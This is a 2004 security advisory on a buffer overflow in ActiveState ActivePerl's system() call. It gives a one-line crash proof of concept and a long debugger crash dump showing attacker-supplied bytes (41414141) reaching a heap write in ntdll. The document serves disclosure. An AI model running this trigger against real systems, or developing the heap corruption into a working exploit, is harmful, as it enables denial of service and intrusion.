ActiveState ActivePerl Buffer Overflow
=======================================

It seems that a argument >=256 chars given to system() crashes Perl.exe.

Versions:
=========

I only tested the versions v5.8.0 (built for MSWin32-x86-multi-thread)
and v5.8.3 (built for MSWin32-x86-multi-thread) on a Windows XP Professional SP1.
Other versions of ActivePerl might be also affected.


Exploiting:
===========

perl -e "$a="A" x 256; system($a)"


Vendor:
=======

www.activestate.com

Discovered:
===========

17.05.2004
https://www.oliverkarow.de/research/ActivePerlSystemBOF.txt


Debug-Info:
===========


Application exception occurred:
        App: D:\Perl\bin\perl.exe (pid=908)
        When: 5/17/2004 @ 22:08:24.579
        Exception number: c0000005 (access violation)

*----> System Information <----*
        Computer Name: dontcare
        User Name: Oliver_Karow
        Terminal Session Id: 0
        Number of Processors: 1
        Processor Type: x86 Family 6 Model 9 Stepping 5
        Windows Version: 5.1
        Current Build: 2600
        Service Pack: 1
        Current Type: Uniprocessor Free
        Registered Organization: Nasi
        Registered Owner: Norbert Nase

*----> Task List <----*
   0 System Process
   4 System
 908 perl.exe
1088 drwtsn32.exe

*----> Module List <----*
(0000000000400000 - 0000000000405000: D:\Perl\bin\perl.exe
(0000000028000000 - 00000000280bc000: D:\Perl\bin\perl58.dll
(00000000629c0000 - 00000000629c8000: C:\WINDOWS\System32\LPK.DLL
(0000000072fa0000 - 0000000072ffa000: C:\WINDOWS\System32\USP10.dll
(0000000076390000 - 00000000763ac000: C:\WINDOWS\System32\IMM32.DLL
(0000000077c10000 - 0000000077c63000: C:\WINDOWS\system32\MSVCRT.dll
(0000000077d40000 - 0000000077dcc000: C:\WINDOWS\system32\USER32.dll
(0000000077dd0000 - 0000000077e5d000: C:\WINDOWS\system32\ADVAPI32.dll
(0000000077e60000 - 0000000077f46000: C:\WINDOWS\system32\kernel32.dll
(0000000077f50000 - 0000000077ff7000: C:\WINDOWS\System32\ntdll.dll
(0000000078000000 - 0000000078087000: C:\WINDOWS\system32\RPCRT4.dll
(000000007e090000 - 000000007e0d1000: C:\WINDOWS\system32\GDI32.dll

*----> State Dump for Thread Id 0x894 <----*

eax=0182adc8 ebx=00220178 ecx=0182bb90 edx=41414141 esi=0182adc0 edi=00220000
eip=77f58ddf esp=0140fb4c ebp=0140fc08 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000287

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\ntdll.dll - 
function: ntdll!RtlFreeHeap
        77f58dc6 3b10             cmp     edx,[eax]
        77f58dc8 7604             jbe     ntdll!RtlFreeHeap+0x390 (77f58dce)
        77f58dca 8b09             mov     ecx,[ecx]
        77f58dcc ebe6             jmp     ntdll!RtlFreeHeap+0x376 (77f58db4)
        77f58dce 8d4608           lea     eax,[esi+0x8]
        77f58dd1 89458c           mov     [ebp-0x74],eax
        77f58dd4 8b5104           mov     edx,[ecx+0x4]
        77f58dd7 895588           mov     [ebp-0x78],edx
        77f58dda 8908             mov     [eax],ecx
        77f58ddc 895004           mov     [eax+0x4],edx
FAULT ->77f58ddf 8902             mov     [edx],eax         ds:0023:41414141=????????
        77f58de1 894104           mov     [ecx+0x4],eax
        77f58de4 56               push    esi
        77f58de5 8b75e4           mov     esi,[ebp-0x1c]
        77f58de8 56               push    esi
        77f58de9 e850a20200       call    ntdll!RtlZeroHeap+0x618 (77f8303e)
        77f58dee 8b45cc           mov     eax,[ebp-0x34]
        77f58df1 014628           add     [esi+0x28],eax
        77f58df4 e992000000       jmp     ntdll!RtlFreeHeap+0x44d (77f58e8b)
        77f58df9 50               push    eax
        77f58dfa 56               push    esi

*----> Stack Back Trace <----*
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 
WARNING: Stack unwind information not available. Following frames may be wrong.
*** WARNING: Unable to verify checksum for D:\Perl\bin\perl58.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for D:\Perl\bin\perl58.dll - 
*** WARNING: Unable to verify checksum for D:\Perl\bin\perl.exe
*** ERROR: Module load completed but symbols could not be loaded for D:\Perl\bin\perl.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
ChildEBP RetAddr  Args to Child              
0140fc08 77c2ab2e 00220000 00000000 0182adc8 ntdll!RtlFreeHeap+0x3a1
0140fc50 280834b3 0182adc8 ffffffff 00223c48 MSVCRT!free+0xc3
0140fd3c 2808aaa1 00000000 01828764 0182add4 perl58!Perl_my_socketpair+0xed8
0140fd64 2808a9d8 01828764 0182864c 00000002 perl58!Perl_do_spawn+0xd8
0140fd9c 2805d784 00226678 00224064 28024499 perl58!Perl_do_spawn+0xf
0140fe24 280862de 00224064 77f944a8 00000007 perl58!Perl_runops_standard+0xc
0140ff3c 00401012 00000003 00223c10 00222bc8 perl58!RunPerl+0x86
0140ffc0 77e814c7 77f944a8 00000007 7ffdf000 perl+0x1012
0140fff0 00000000 00401016 00000000 00000000 kernel32!GetCurrentDirectoryW+0x44

*----> Raw Stack Dump <----*
000000000140fb4c  88 3f 22 00 c8 ad 82 01 - 00 00 00 00 41 00 41 00  .?".........A.A.
000000000140fb5c  41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
000000000140fb6c  41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
000000000140fb7c  41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
000000000140fb8c  41 00 41 00 41 41 41 41 - c8 ad 82 01 88 bb 82 01  A.A.AAAA........
000000000140fb9c  90 bb 82 01 78 01 22 00 - 00 ec fd 7f 1a 02 00 00  ....x.".........
000000000140fbac  90 f9 40 01 33 00 00 c0 - 00 00 00 00 c0 ad 82 01  ..@.3...........
000000000140fbbc  00 00 00 00 00 00 00 00 - 00 00 00 00 24 00 00 00  ............$...
000000000140fbcc  20 01 00 00 c4 fb 40 01 - 71 01 00 00 88 0b 00 00   .....@.q.......
000000000140fbdc  f0 88 01 00 00 00 22 00 - 40 fb 40 01 7b 00 01 01  ......".@.@.{...
000000000140fbec  00 00 22 00 4c fb 40 01 - 74 f7 40 01 40 fc 40 01  ..".L.@.t.@.@.@.
000000000140fbfc  f0 88 fa 77 88 1c f5 77 - 01 00 00 00 50 fc 40 01  ...w...w....P.@.
000000000140fc0c  2e ab c2 77 00 00 22 00 - 00 00 00 00 c8 ad 82 01  ...w..".........
000000000140fc1c  88 3f 22 00 c8 ad 82 01 - 00 00 00 00 4c fc 40 01  .?".........L.@.
000000000140fc2c  10 fc 40 01 00 01 00 00 - b0 ff 40 01 1c fc 40 01  ..@.......@...@.
000000000140fc3c  74 f7 40 01 b0 ff 40 01 - b0 3e c3 77 30 20 c1 77  t.@...@..>.w0 .w
000000000140fc4c  ff ff ff ff 3c fd 40 01 - b3 34 08 28 c8 ad 82 01  ....<.@..4.(....
000000000140fc5c  ff ff ff ff 48 3c 22 00 - c1 41 08 28 d4 ad 82 01  ....H<"..A.(....
000000000140fc6c  1d f8 07 28 4c 3c 22 00 - d4 ad 82 01 27 5c 08 28  ...(L<".....'\.(
000000000140fc7c  d4 ad 82 01 09 45 08 28 - d4 ad 82 01 64 40 22 00  .....E.(....d@".

*----> Symbol Table <----*
C:\WINDOWS\System32\ntdll.dll

77f55434  ntdll!LdrDisableThreadCalloutsForDll 
77f55662  ntdll!RtlNormalizeProcessParams 
77f556e6  ntdll!RtlInitNlsTables 
77f55710  ntdll!RtlInitCodePageTable 
77f557d2  ntdll!RtlInitializeCriticalSection 
77f55851  ntdll!RtlCreateHeap 
77f56f1b  ntdll!LdrLoadDll 
77f5718e  ntdll!LdrGetDllHandle 
77f57bae  ntdll!RtlAllocateHeap 
77f58a3e  ntdll!RtlFreeHeap 
77f59726  ntdll!RtlLockHeap 
77f597ea  ntdll!RtlUnlockHeap 
77f598a0  ntdll!RtlSetCurrentDirectory_U 
77f59b30  ntdll!RtlDosPathNameToNtPathName_U 
77f59b82  ntdll!RtlAcquirePebLock 
77f59bea  ntdll!RtlReleasePebLock 
77f5a5dc  ntdll!RtlDetermineDosPathNameType_U 
77f5a772  ntdll!RtlAnsiStringToUnicodeString 
77f5a838  ntdll!RtlMultiByteToUnicodeN 
77f5ab20  ntdll!RtlUnicodeStringToAnsiString 
77f5abe4  ntdll!RtlUnicodeToMultiByteN 
77f5ad7e  ntdll!RtlFreeUnicodeString 
77f5ad7e  ntdll!RtlFreeAnsiString 
77f5ad9a  ntdll!RtlFreeOemString 
77f5adb0  ntdll!RtlOemStringToUnicodeString 
77f5ae5c  ntdll!RtlOemToUnicodeN 
77f5b042  ntdll!RtlUnicodeStringToOemString 
77f5b0ea  ntdll!RtlUnicodeToOemN 
77f5b2a0  ntdll!RtlEnterCriticalSection 
77f5b380  ntdll!RtlLeaveCriticalSection 
77f5b3b8  ntdll!RtlTryEnterCriticalSection 
77f5b408  ntdll!LdrInitializeThunk 
77f5b438  ntdll!ZwAcceptConnectPort 
77f5b438  ntdll!NtAcceptConnectPort 
77f5b448  ntdll!ZwAccessCheck 
77f5b448  ntdll!NtAccessCheck 
77f5b458  ntdll!NtAccessCheckAndAuditAlarm 
77f5b458  ntdll!ZwAccessCheckAndAuditAlarm 
77f5b468  ntdll!ZwAccessCheckByType 
77f5b468  ntdll!NtAccessCheckByType 
77f5b478  ntdll!NtAccessCheckByTypeAndAuditAlarm 
77f5b478  ntdll!ZwAccessCheckByTypeAndAuditAlarm 
77f5b488  ntdll!ZwAccessCheckByTypeResultList 
77f5b488  ntdll!NtAccessCheckByTypeResultList 
77f5b498  ntdll!ZwAccessCheckByTypeResultListAndAuditAlarm 
77f5b498  ntdll!NtAccessCheckByTypeResultListAndAuditAlarm 
77f5b4a8  ntdll!ZwAccessCheckByTypeResultListAndAuditAlarmByHandle 
77f5b4a8  ntdll!NtAccessCheckByTypeResultListAndAuditAlarmByHandle 
77f5b4b8  ntdll!NtAddAtom 
77f5b4b8  ntdll!ZwAddAtom 
77f5b4c8  ntdll!NtAddBootEntry 
77f5b4c8  ntdll!ZwAddBootEntry 
77f5b4d8  ntdll!NtAdjustGroupsToken 
77f5b4d8  ntdll!ZwAdjustGroupsToken 
77f5b4e8  ntdll!ZwAdjustPrivilegesToken 
77f5b4e8  ntdll!NtAdjustPrivilegesToken 
77f5b4f8  ntdll!ZwAlertResumeThread 
77f5b4f8  ntdll!NtAlertResumeThread 
77f5b508  ntdll!NtAlertThread 
77f5b508  ntdll!ZwAlertThread 
77f5b518  ntdll!NtAllocateLocallyUniqueId 
77f5b518  ntdll!ZwAllocateLocallyUniqueId 
77f5b528  ntdll!NtAllocateUserPhysicalPages 
77f5b528  ntdll!ZwAllocateUserPhysicalPages 
77f5b538  ntdll!ZwAllocateUuids 
77f5b538  ntdll!NtAllocateUuids 
77f5b548  ntdll!ZwAllocateVirtualMemory 
77f5b548  ntdll!NtAllocateVirtualMemory 
77f5b558  ntdll!ZwAreMappedFilesTheSame 
77f5b558  ntdll!NtAreMappedFilesTheSame 
77f5b568  ntdll!NtAssignProcessToJobObject 
77f5b568  ntdll!ZwAssignProcessToJobObject 
77f5b578  ntdll!ZwCallbackReturn 
77f5b578  ntdll!NtCallbackReturn 
77f5b588  ntdll!ZwCancelDeviceWakeupRequest 
77f5b588  ntdll!NtCancelDeviceWakeupRequest 
77f5b598  ntdll!ZwCancelIoFile 
77f5b598  ntdll!NtCancelIoFile 
77f5b5a8  ntdll!ZwCancelTimer 
77f5b5a8  ntdll!NtCancelTimer 
77f5b5b8  ntdll!ZwClearEvent 
77f5b5b8  ntdll!NtClearEvent 
77f5b5c8  ntdll!ZwClose 
77f5b5c8  ntdll!NtClose 
77f5b5d8  ntdll!ZwCloseObjectAuditAlarm 
77f5b5d8  ntdll!NtCloseObjectAuditAlarm 
77f5b5e8  ntdll!ZwCompactKeys 
77f5b5e8  ntdll!NtCompactKeys 
77f5b5f8  ntdll!ZwCompareTokens 
77f5b5f8  ntdll!NtCompareTokens 
77f5b608  ntdll!ZwCompleteConnectPort 
77f5b608  ntdll!NtCompleteConnectPort 
77f5b618  ntdll!NtCompressKey 
77f5b618  ntdll!ZwCompressKey 
77f5b628  ntdll!NtConnectPort 
77f5b628  ntdll!ZwConnectPort 
77f5b638  ntdll!ZwContinue 
77f5b638  ntdll!NtContinue 
77f5b648  ntdll!ZwCreateDebugObject 
77f5b648  ntdll!NtCreateDebugObject 
77f5b658  ntdll!NtCreateDirectoryObject 
77f5b658  ntdll!ZwCreateDirectoryObject 
77f5b668  ntdll!NtCreateEvent 
77f5b668  ntdll!ZwCreateEvent 
77f5b678  ntdll!NtCreateEventPair 
77f5b678  ntdll!ZwCreateEventPair 
77f5b688  ntdll!ZwCreateFile 
77f5b688  ntdll!NtCreateFile 
77f5b698  ntdll!ZwCreateIoCompletion 
77f5b698  ntdll!NtCreateIoCompletion 
77f5b6a8  ntdll!ZwCreateJobObject 
77f5b6a8  ntdll!NtCreateJobObject 
77f5b6b8  ntdll!NtCreateJobSet 
77f5b6b8  ntdll!ZwCreateJobSet 
77f5b6c8  ntdll!NtCreateKey 
77f5b6c8  ntdll!ZwCreateKey 
77f5b6d8  ntdll!ZwCreateMailslotFile 
77f5b6d8  ntdll!NtCreateMailslotFile 
77f5b6e8  ntdll!NtCreateMutant 
77f5b6e8  ntdll!ZwCreateMutant 
77f5b6f8  ntdll!NtCreateNamedPipeFile 
77f5b6f8  ntdll!ZwCreateNamedPipeFile 
77f5b708  ntdll!ZwCreatePagingFile 
77f5b708  ntdll!NtCreatePagingFile 
77f5b718  ntdll!ZwCreatePort 
77f5b718  ntdll!NtCreatePort 
77f5b728  ntdll!ZwCreateProcess 
77f5b728  ntdll!NtCreateProcess 
77f5b738  ntdll!ZwCreateProcessEx 
77f5b738  ntdll!NtCreateProcessEx 
77f5b748  ntdll!ZwCreateProfile 
77f5b748  ntdll!NtCreateProfile 
77f5b758  ntdll!NtCreateSection 
77f5b758  ntdll!ZwCreateSection 
77f5b768  ntdll!ZwCreateSemaphore 
77f5b768  ntdll!NtCreateSemaphore 
77f5b778  ntdll!ZwCreateSymbolicLinkObject 
77f5b778  ntdll!NtCreateSymbolicLinkObject 
77f5b788  ntdll!NtCreateThread 
77f5b788  ntdll!ZwCreateThread 
77f5b798  ntdll!NtCreateTimer 
77f5b798  ntdll!ZwCreateTimer 
77f5b7a8  ntdll!NtCreateToken 
77f5b7a8  ntdll!ZwCreateToken 
77f5b7b8  ntdll!ZwCreateWaitablePort 
77f5b7b8  ntdll!NtCreateWaitablePort 
77f5b7c8  ntdll!NtDebugActiveProcess 
77f5b7c8  ntdll!ZwDebugActiveProcess 
77f5b7d8  ntdll!ZwDebugContinue 
77f5b7d8  ntdll!NtDebugContinue 
77f5b7e8  ntdll!NtDelayExecution 
77f5b7e8  ntdll!ZwDelayExecution 
77f5b7f8  ntdll!ZwDeleteAtom 
77f5b7f8  ntdll!NtDeleteAtom 
77f5b808  ntdll!NtDeleteBootEntry 
77f5b808  ntdll!ZwDeleteBootEntry 
77f5b818  ntdll!NtDeleteFile 
77f5b818  ntdll!ZwDeleteFile 
77f5b828  ntdll!NtDeleteKey 
77f5b828  ntdll!ZwDeleteKey 
77f5b838  ntdll!NtDeleteObjectAuditAlarm 
77f5b838  ntdll!ZwDeleteObjectAuditAlarm 
77f5b848  ntdll!NtDeleteValueKey 
77f5b848  ntdll!ZwDeleteValueKey 
77f5b858  ntdll!NtDeviceIoControlFile 
77f5b858  ntdll!ZwDeviceIoControlFile 
77f5b868  ntdll!NtDisplayString 
77f5b868  ntdll!ZwDisplayString 
77f5b878  ntdll!ZwDuplicateObject 
77f5b878  ntdll!NtDuplicateObject 
77f5b888  ntdll!NtDuplicateToken 
77f5b888  ntdll!ZwDuplicateToken 
77f5b898  ntdll!NtEnumerateBootEntries 
77f5b898  ntdll!ZwEnumerateBootEntries 
77f5b8a8  ntdll!NtEnumerateKey 
77f5b8a8  ntdll!ZwEnumerateKey 
77f5b8b8  ntdll!NtEnumerateSystemEnvironmentValuesEx 
77f5b8b8  ntdll!ZwEnumerateSystemEnvironmentValuesEx 
77f5b8c8  ntdll!ZwEnumerateValueKey 
77f5b8c8  ntdll!NtEnumerateValueKey 
77f5b8d8  ntdll!ZwExtendSection 
77f5b8d8  ntdll!NtExtendSection 
77f5b8e8  ntdll!ZwFilterToken 
77f5b8e8  ntdll!NtFilterToken 
77f5b8f8  ntdll!NtFindAtom 
77f5b8f8  ntdll!ZwFindAtom 
77f5b908  ntdll!NtFlushBuffersFile 
77f5b908  ntdll!ZwFlushBuffersFile 
77f5b918  ntdll!ZwFlushInstructionCache 
77f5b918  ntdll!NtFlushInstructionCache 
77f5b928  ntdll!ZwFlushKey 
77f5b928  ntdll!NtFlushKey 
77f5b938  ntdll!ZwFlushVirtualMemory 
77f5b938  ntdll!NtFlushVirtualMemory 
77f5b948  ntdll!NtFlushWriteBuffer 
77f5b948  ntdll!ZwFlushWriteBuffer 
77f5b958  ntdll!ZwFreeUserPhysicalPages 
77f5b958  ntdll!NtFreeUserPhysicalPages 
77f5b968  ntdll!NtFreeVirtualMemory 
77f5b968  ntdll!ZwFreeVirtualMemory 
77f5b978  ntdll!NtFsControlFile 
77f5b978  ntdll!ZwFsControlFile 
77f5b988  ntdll!NtGetContextThread 
77f5b988  ntdll!ZwGetContextThread 
77f5b998  ntdll!ZwGetDevicePowerState 
77f5b998  ntdll!NtGetDevicePowerState 
77f5b9a8  ntdll!ZwGetPlugPlayEvent 
77f5b9a8  ntdll!NtGetPlugPlayEvent 
77f5b9b8  ntdll!ZwGetWriteWatch 
77f5b9b8  ntdll!NtGetWriteWatch 
77f5b9c8  ntdll!ZwImpersonateAnonymousToken 
77f5b9c8  ntdll!NtImpersonateAnonymousToken 
77f5b9d8  ntdll!ZwImpersonateClientOfPort 
77f5b9d8  ntdll!NtImpersonateClientOfPort 
77f5b9e8  ntdll!NtImpersonateThread 
77f5b9e8  ntdll!ZwImpersonateThread 
77f5b9f8  ntdll!ZwInitializeRegistry 
77f5b9f8  ntdll!NtInitializeRegistry 
77f5ba08  ntdll!ZwInitiatePowerAction 
77f5ba08  ntdll!NtInitiatePowerAction 
77f5ba18  ntdll!NtIsProcessInJob 
77f5ba18  ntdll!ZwIsProcessInJob 
77f5ba28  ntdll!ZwIsSystemResumeAutomatic 
77f5ba28  ntdll!NtIsSystemResumeAutomatic 
77f5ba38  ntdll!ZwListenPort 
77f5ba38  ntdll!NtListenPort 
77f5ba48  ntdll!ZwLoadDriver 
77f5ba48  ntdll!NtLoadDriver 
77f5ba58  ntdll!NtLoadKey 
77f5ba58  ntdll!ZwLoadKey 
77f5ba68  ntdll!NtLoadKey2 
77f5ba68  ntdll!ZwLoadKey2 
77f5ba78  ntdll!ZwLockFile 
77f5ba78  ntdll!NtLockFile 
77f5ba88  ntdll!NtLockProductActivationKeys 
77f5ba88  ntdll!ZwLockProductActivationKeys 
77f5ba98  ntdll!NtLockRegistryKey 
77f5ba98  ntdll!ZwLockRegistryKey 
77f5baa8  ntdll!ZwLockVirtualMemory 
77f5baa8  ntdll!NtLockVirtualMemory 
77f5bab8  ntdll!ZwMakePermanentObject 
77f5bab8  ntdll!NtMakePermanentObject 
77f5bac8  ntdll!ZwMakeTemporaryObject 
77f5bac8  ntdll!NtMakeTemporaryObject 
77f5bad8  ntdll!ZwMapUserPhysicalPages 
77f5bad8  ntdll!NtMapUserPhysicalPages 
77f5bae8  ntdll!NtMapUserPhysicalPagesScatter 
77f5bae8  ntdll!ZwMapUserPhysicalPagesScatter 
77f5baf8  ntdll!ZwMapViewOfSection 
77f5baf8  ntdll!NtMapViewOfSection 
77f5bb08  ntdll!ZwModifyBootEntry 
77f5bb08  ntdll!NtModifyBootEntry 
77f5bb18  ntdll!NtNotifyChangeDirectoryFile 
77f5bb18  ntdll!ZwNotifyChangeDirectoryFile 
77f5bb28  ntdll!NtNotifyChangeKey 
77f5bb28  ntdll!ZwNotifyChangeKey 
77f5bb38  ntdll!ZwNotifyChangeMultipleKeys 
77f5bb38  ntdll!NtNotifyChangeMultipleKeys 
77f5bb48  ntdll!ZwOpenDirectoryObject 
77f5bb48  ntdll!NtOpenDirectoryObject 
77f5bb58  ntdll!ZwOpenEvent 
77f5bb58  ntdll!NtOpenEvent 
77f5bb68  ntdll!ZwOpenEventPair 
77f5bb68  ntdll!NtOpenEventPair 
77f5bb78  ntdll!ZwOpenFile 
77f5bb78  ntdll!NtOpenFile 
77f5bb88  ntdll!ZwOpenIoCompletion 
77f5bb88  ntdll!NtOpenIoCompletion 
77f5bb98  ntdll!ZwOpenJobObject 
77f5bb98  ntdll!NtOpenJobObject 
77f5bba8  ntdll!ZwOpenKey 
77f5bba8  ntdll!NtOpenKey 
77f5bbb8  ntdll!NtOpenMutant 
77f5bbb8  ntdll!ZwOpenMutant 
77f5bbc8  ntdll!ZwOpenObjectAuditAlarm 
77f5bbc8  ntdll!NtOpenObjectAuditAlarm 
77f5bbd8  ntdll!ZwOpenProcess 
77f5bbd8  ntdll!NtOpenProcess 
77f5bbe8  ntdll!ZwOpenProcessToken 
77f5bbe8  ntdll!NtOpenProcessToken 
77f5bbf8  ntdll!ZwOpenProcessTokenEx 
77f5bbf8  ntdll!NtOpenProcessTokenEx 
77f5bc08  ntdll!ZwOpenSection 
77f5bc08  ntdll!NtOpenSection 
77f5bc18  ntdll!ZwOpenSemaphore 
77f5bc18  ntdll!NtOpenSemaphore 
77f5bc28  ntdll!ZwOpenSymbolicLinkObject 
77f5bc28  ntdll!NtOpenSymbolicLinkObject 
77f5bc38  ntdll!ZwOpenThread 
77f5bc38  ntdll!NtOpenThread 
77f5bc48  ntdll!ZwOpenThreadToken 
77f5bc48  ntdll!NtOpenThreadToken 
77f5bc58  ntdll!NtOpenThreadTokenEx 
77f5bc58  ntdll!ZwOpenThreadTokenEx 
77f5bc68  ntdll!ZwOpenTimer 
77f5bc68  ntdll!NtOpenTimer 
77f5bc78  ntdll!NtPlugPlayControl 
77f5bc78  ntdll!ZwPlugPlayControl 
77f5bc88  ntdll!ZwPowerInformation 
77f5bc88  ntdll!NtPowerInformation 
77f5bc98  ntdll!ZwPrivilegeCheck 
77f5bc98  ntdll!NtPrivilegeCheck 
77f5bca8  ntdll!NtPrivilegeObjectAuditAlarm 
77f5bca8  ntdll!ZwPrivilegeObjectAuditAlarm 
77f5bcb8  ntdll!NtPrivilegedServiceAuditAlarm 
77f5bcb8  ntdll!ZwPrivilegedServiceAuditAlarm 
77f5bcc8  ntdll!NtProtectVirtualMemory 
77f5bcc8  ntdll!ZwProtectVirtualMemory 
77f5bcd8  ntdll!NtPulseEvent 
77f5bcd8  ntdll!ZwPulseEvent 
77f5bce8  ntdll!NtQueryAttributesFile 
77f5bce8  ntdll!ZwQueryAttributesFile 
77f5bcf8  ntdll!ZwQueryBootEntryOrder 
77f5bcf8  ntdll!NtQueryBootEntryOrder 
77f5bd08  ntdll!NtQueryBootOptions 
77f5bd08  ntdll!ZwQueryBootOptions 
77f5bd18  ntdll!ZwQueryDebugFilterState 
77f5bd18  ntdll!NtQueryDebugFilterState 
77f5bd28  ntdll!ZwQueryDefaultLocale 
77f5bd28  ntdll!NtQueryDefaultLocale 
77f5bd38  ntdll!NtQueryDefaultUILanguage 
77f5bd38  ntdll!ZwQueryDefaultUILanguage 
77f5bd48  ntdll!ZwQueryDirectoryFile 
77f5bd48  ntdll!NtQueryDirectoryFile 
77f5bd58  ntdll!NtQueryDirectoryObject 
77f5bd58  ntdll!ZwQueryDirectoryObject 
77f5bd68  ntdll!NtQueryEaFile 
77f5bd68  ntdll!ZwQueryEaFile 
77f5bd78  ntdll!ZwQueryEvent 
77f5bd78  ntdll!NtQueryEvent 
77f5bd88  ntdll!ZwQueryFullAttributesFile 
77f5bd88  ntdll!NtQueryFullAttributesFile 
77f5bd98  ntdll!NtQueryInformationAtom 
77f5bd98  ntdll!ZwQueryInformationAtom 
77f5bda8  ntdll!NtQueryInformationFile 
77f5bda8  ntdll!ZwQueryInformationFile 
77f5bdb8  ntdll!NtQueryInformationJobObject 
77f5bdb8  ntdll!ZwQueryInformationJobObject 
77f5bdc8  ntdll!NtQueryInformationPort 
77f5bdc8  ntdll!ZwQueryInformationPort 
77f5bdd8  ntdll!NtQueryInformationProcess 
77f5bdd8  ntdll!ZwQueryInformationProcess 
77f5bde8  ntdll!NtQueryInformationThread 
77f5bde8  ntdll!ZwQueryInformationThread 
77f5bdf8  ntdll!NtQueryInformationToken 
77f5bdf8  ntdll!ZwQueryInformationToken 
77f5be08  ntdll!ZwQueryInstallUILanguage 
77f5be08  ntdll!NtQueryInstallUILanguage 
77f5be18  ntdll!ZwQueryIntervalProfile 
77f5be18  ntdll!NtQueryIntervalProfile 
77f5be28  ntdll!ZwQueryIoCompletion 
77f5be28  ntdll!NtQueryIoCompletion 
77f5be38  ntdll!ZwQueryKey 
77f5be38  ntdll!NtQueryKey 
77f5be48  ntdll!NtQueryMultipleValueKey 
77f5be48  ntdll!ZwQueryMultipleValueKey 
77f5be58  ntdll!NtQueryMutant 
77f5be58  ntdll!ZwQueryMutant 
77f5be68  ntdll!ZwQueryObject 
77f5be68  ntdll!NtQueryObject 
77f5be78  ntdll!NtQueryOpenSubKeys 
77f5be78  ntdll!ZwQueryOpenSubKeys 
77f5be88  ntdll!ZwQueryPerformanceCounter 
77f5be88  ntdll!NtQueryPerformanceCounter 
77f5be98  ntdll!NtQueryQuotaInformationFile 
77f5be98  ntdll!ZwQueryQuotaInformationFile 
77f5bea8  ntdll!NtQuerySection 
77f5bea8  ntdll!ZwQuerySection 
77f5beb8  ntdll!NtQuerySecurityObject 
77f5beb8  ntdll!ZwQuerySecurityObject 
77f5bec8  ntdll!ZwQuerySemaphore 
77f5bec8  ntdll!NtQuerySemaphore 
77f5bed8  ntdll!ZwQuerySymbolicLinkObject 
77f5bed8  ntdll!NtQuerySymbolicLinkObject 
77f5bee8  ntdll!NtQuerySystemEnvironmentValue 
77f5bee8  ntdll!ZwQuerySystemEnvironmentValue 
77f5bef8  ntdll!ZwQuerySystemEnvironmentValueEx 
77f5bef8  ntdll!NtQuerySystemEnvironmentValueEx 
77f5bf08  ntdll!RtlGetNativeSystemInformation 
77f5bf08  ntdll!ZwQuerySystemInformation 
77f5bf08  ntdll!NtQuerySystemInformation 
77f5bf18  ntdll!NtQuerySystemTime 
77f5bf18  ntdll!ZwQuerySystemTime 
77f5bf28  ntdll!ZwQueryTimer 
77f5bf28  ntdll!NtQueryTimer 
77f5bf38  ntdll!ZwQueryTimerResolution 
77f5bf38  ntdll!NtQueryTimerResolution 
77f5bf48  ntdll!ZwQueryValueKey 
77f5bf48  ntdll!NtQueryValueKey 
77f5bf58  ntdll!NtQueryVirtualMemory 
77f5bf58  ntdll!ZwQueryVirtualMemory 
77f5bf68  ntdll!NtQueryVolumeInformationFile 
77f5bf68  ntdll!ZwQueryVolumeInformationFile 
77f5bf78  ntdll!NtQueueApcThread 
77f5bf78  ntdll!ZwQueueApcThread 
77f5bf88  ntdll!NtRaiseException 
77f5bf88  ntdll!ZwRaiseException 
77f5bf98  ntdll!ZwRaiseHardError 
77f5bf98  ntdll!NtRaiseHardError 
77f5bfa8  ntdll!ZwReadFile 
77f5bfa8  ntdll!NtReadFile 
77f5bfb8  ntdll!ZwReadFileScatter 
77f5bfb8  ntdll!NtReadFileScatter 
77f5bfc8  ntdll!NtReadRequestData 
77f5bfc8  ntdll!ZwReadRequestData 
77f5bfd8  ntdll!NtReadVirtualMemory 
77f5bfd8  ntdll!ZwReadVirtualMemory 
77f5bfe8  ntdll!ZwRegisterThreadTerminatePort 
77f5bfe8  ntdll!NtRegisterThreadTerminatePort 
77f5bff8  ntdll!NtReleaseMutant 
77f5bff8  ntdll!ZwReleaseMutant 
77f5c008  ntdll!ZwReleaseSemaphore 
77f5c008  ntdll!NtReleaseSemaphore 
77f5c018  ntdll!NtRemoveIoCompletion 
77f5c018  ntdll!ZwRemoveIoCompletion 
77f5c028  ntdll!NtRemoveProcessDebug 
77f5c028  ntdll!ZwRemoveProcessDebug 
77f5c038  ntdll!NtRenameKey 
77f5c038  ntdll!ZwRenameKey 
77f5c048  ntdll!ZwReplaceKey 
77f5c048  ntdll!NtReplaceKey 
77f5c058  ntdll!ZwReplyPort 
77f5c058  ntdll!NtReplyPort 
77f5c068  ntdll!NtReplyWaitReceivePort 
77f5c068  ntdll!ZwReplyWaitReceivePort 
77f5c078  ntdll!ZwReplyWaitReceivePortEx 
77f5c078  ntdll!NtReplyWaitReceivePortEx 
77f5c088  ntdll!NtReplyWaitReplyPort 
77f5c088  ntdll!ZwReplyWaitReplyPort 
77f5c098  ntdll!ZwRequestDeviceWakeup 
77f5c098  ntdll!NtRequestDeviceWakeup 
77f5c0a8  ntdll!NtRequestPort 
77f5c0a8  ntdll!ZwRequestPort 
77f5c0b8  ntdll!NtRequestWaitReplyPort 
77f5c0b8  ntdll!ZwRequestWaitReplyPort 
77f5c0c8  ntdll!NtRequestWakeupLatency 
77f5c0c8  ntdll!ZwRequestWakeupLatency 
77f5c0d8  ntdll!NtResetEvent 
77f5c0d8  ntdll!ZwResetEvent 
77f5c0e8  ntdll!ZwResetWriteWatch 
77f5c0e8  ntdll!NtResetWriteWatch 
77f5c0f8  ntdll!NtRestoreKey 
77f5c0f8  ntdll!ZwRestoreKey 
77f5c108  ntdll!ZwResumeProcess 
77f5c108  ntdll!NtResumeProcess 
77f5c118  ntdll!NtResumeThread 
77f5c118  ntdll!ZwResumeThread 
77f5c128  ntdll!ZwSaveKey 
77f5c128  ntdll!NtSaveKey 
